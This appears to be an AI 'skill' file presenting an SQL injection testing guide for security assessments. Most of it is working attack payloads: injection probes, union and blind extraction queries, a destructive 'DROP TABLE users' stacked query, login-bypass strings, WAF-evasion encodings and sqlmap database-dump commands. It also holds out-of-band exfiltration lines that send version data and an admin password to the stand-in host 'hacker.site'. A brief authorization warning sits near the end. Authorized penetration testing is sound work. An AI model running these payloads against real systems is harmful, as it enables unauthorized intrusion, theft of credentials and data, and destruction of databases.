SQL Injection Testing Guide
A comprehensive guide for detecting and exploiting SQL injection vulnerabilities during security assessments.
When to Use This Skill
Use this skill when:
- Testing web applications for SQL injection vulnerabilities
- Analyzing unusual database query behavior
- Performing authentication bypass testing
- Bypassing WAFs during security assessments
- Extracting database information through injection
- Converting between hex/decimal for payload crafting
- Any security testing involving database query manipulation
Detection Methodology
Step 1: Entry Point Detection
Start by testing common injection points with these payloads to escape the current context:
' " ` ') ") `) )) ")) `))
Look for:
- Database errors in responses
- Different page content between valid/invalid queries
- Timing differences in response
Step 2: Confirm with Logical Operations
Test with these payloads to confirm SQLi:
?param=value' or '1'='1
?param=value" or "1"="1
?param=value and 1=1
?param=value and 1=2
If 1=1 and 1=2 produce different results, you likely have SQLi.
Step 3: Confirm with Timing (Blind SQLi)
For blind SQLi where you can't see output changes:
MySQL:
1' and sleep(10)--
1' and benchmark(10000000,sha1('test'))--
PostgreSQL:
1' || pg_sleep(10)--
MSSQL:
1' WAITFOR DELAY '0:0:10'--
Oracle:
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)--
Step 4: Identify Backend Database
Use these queries to identify the database type:
| Database | Test Query |
|---|---|
| MySQL | conv('a',16,2)=conv('a',16,2) |
| MSSQL | @@CONNECTIONS>0 |
| Oracle | ROWNUM=ROWNUM |
| PostgreSQL | 5::int=5 |
| SQLite | sqlite_version()=sqlite_version() |
Exploitation Techniques
Union-Based Injection
1. Find column count:
Use ORDER BY to find the number of columns:
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
# Stop when you get an error
2. Extract database information:
-- Get all database names
-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--
-- Get tables from a database
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='database_name'--
-- Get columns from a table
-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='table_name'--
Blind SQL Injection
Extract data character by character:
?id=1 AND SUBSTR(table_name,1,1)='a'--
?id=1 AND SUBSTR(table_name,1,1)='b'--
# Continue for each character
Error-Based Injection
Force errors to exfiltrate data:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Time-Based SQL Injection
Use timing to extract data:
1 and (select sleep(10) from users where SUBSTR(password,1,1)='a')--
Stacked Queries
Execute multiple queries (MySQL, MSSQL, PostgreSQL only - NOT Oracle):
1'; DROP TABLE users;--
1'; SELECT * FROM users;--
Out-of-Band Exfiltration
Exfiltrate data to external hosts:
-- DNS exfiltration
select load_file(concat('',version(),'.hacker.site\a.txt'));
-- XXE-based exfiltration (Oracle)
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--
Authentication Bypass
Common Login Bypass Payloads
admin'--
admin'/*
admin'#
' or '1'='1
' or 1=1--
admin' or '1'='1'--
admin' or 1=1#--
Hash-Based Bypass
For MD5 raw output vulnerabilities:
md5("ffifdyop", true) = 'or'6... (raw bytes)
sha1("3fDf ", true) = Q... (raw bytes)
GBK Encoding Bypass
When single quotes are escaped:
%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' or 1=1 --
SQL Truncation Attack
Create user admin[25 spaces]a to overwrite admin password (older MySQL):
username=admin[25 spaces]a
password=your_password
WAF Bypass Techniques
No Spaces Bypass
Use whitespace alternatives:
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
Use comments:
?id=1/*comment*/and/**/1=1/**/--
Use parentheses:
?id=(1)and(1)=(1)--
No Commas Bypass
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Case Variation
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Operator Substitution
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE, REGEXP, RLIKE
WHERE -> HAVING
Scientific Notation Bypass
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Safety and Ethics
Important: Only use these techniques on systems you have explicit authorization to test. Unauthorized SQL injection testing is illegal and unethical.
Tools
sqlmap: Automated SQL injection tool
sqlmap -u "http://target.com/page?id=1" --dbs sqlmap -u "http://target.com/page?id=1" --current-user --current-db sqlmap -u "http://target.com/page?id=1" --tables --dumpAtlas: WAF bypass suggester